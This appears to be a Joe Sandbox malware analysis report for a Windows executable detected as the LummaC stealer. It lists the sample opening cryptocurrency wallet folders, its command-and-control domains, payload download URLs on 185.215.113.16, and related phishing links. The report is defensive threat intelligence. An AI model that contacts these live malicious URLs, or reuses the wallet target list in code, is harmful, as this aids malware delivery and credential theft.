Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2136345870.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2135731126.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2152078612.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148853382.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2107987634.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122208646.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	35 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/apig7	100%	Avira URL Cloud	malware
https://cook-rain.sbs/L	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api_seed	100%	Avira URL Cloud	malware
https://cook-rain.sbs/rbTpMcb	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiw	100%	Avira URL Cloud	malware
https://cook-rain.sbs/The	100%	Avira URL Cloud	malware
https://cook-rain.sbs:443/apiyA	100%	Avira URL Cloud	malware
https://cook-rain.sbs/#	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe9	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apitH	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.74.196	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_127.5.dr	false		high
https://cook-rain.sbs/The	file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2166382058.0000000000B44000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/L	file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152153088.0000000000B47000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152027919.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_127.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://cook-rain.sbs/apig7	file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_127.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_119.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_127.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_127.5.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_127.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://github.com/gewarren	chromecache_127.5.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2355907033.00000000001EA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apitH	file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/rbTpMcb	file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152153088.0000000000B47000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2135765087.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152027919.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2166382058.0000000000B44000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_127.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_127.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiw	file.exe, 00000000.00000003.2260516633.0000000000ACA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Thraka	chromecache_127.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://aka.ms/certhelp	chromecache_107.5.dr, chromecache_119.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2260295357.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.2122208646.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_127.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_119.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_127.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_127.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api_seed	file.exe, 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/adegeo	chromecache_127.5.dr	false		high
https://cook-rain.sbs:443/api	file.exe, 00000000.00000003.2162414218.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162014321.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe9	file.exe, 00000000.00000002.2362535640.0000000000A98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs/#	file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148853382.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs:443/apiyA	file.exe, 00000000.00000003.2173017271.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_107.5.dr, chromecache_119.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2260295357.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_127.5.dr	false		high
https://channel9.msdn.com/	chromecache_107.5.dr, chromecache_119.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_107.5.dr, chromecache_119.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.74.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559070
Start date and time:	2024-11-20 06:39:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@9/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 142.250.186.35, 184.28.89.167, 142.250.185.206, 74.125.133.84, 95.101.150.2, 34.104.35.123, 142.250.186.106, 142.250.185.138, 142.250.185.234, 142.250.185.202, 216.58.206.74, 142.250.181.234, 216.58.206.42, 172.217.16.202, 142.250.186.138, 216.58.212.170, 142.250.185.170, 142.250.185.74, 142.250.184.234, 142.250.186.170, 142.250.185.106, 142.250.186.74, 13.89.179.14, 2.19.126.156, 2.19.126.137, 13.74.129.1, 13.107.21.237, 204.79.197.237, 20.189.173.7, 142.250.185.195, 142.250.185.238
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, onedscolprdwus06.westus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, onedscolprdcus18.centralus.cloudapp.azure.c
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:40:06	API Interceptor	8x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/steam/random.exe
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.60
	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	13.107.246.60
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.google.ki/url?Obdy=o1RbVZ9nKE3ZhJRHbKGv&cgsr=bnJtdqeStbk73BcMC6fs&sa=t&wofc=4hzzg6rsjrHHZ2kN1m3A&url=amp%2Fplimmerton.org.nz%2Fjugz%2F#oetqVE-SUREDANNSmFtaWUuQmVsbEBlbGthbWV0LmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60

ASNs

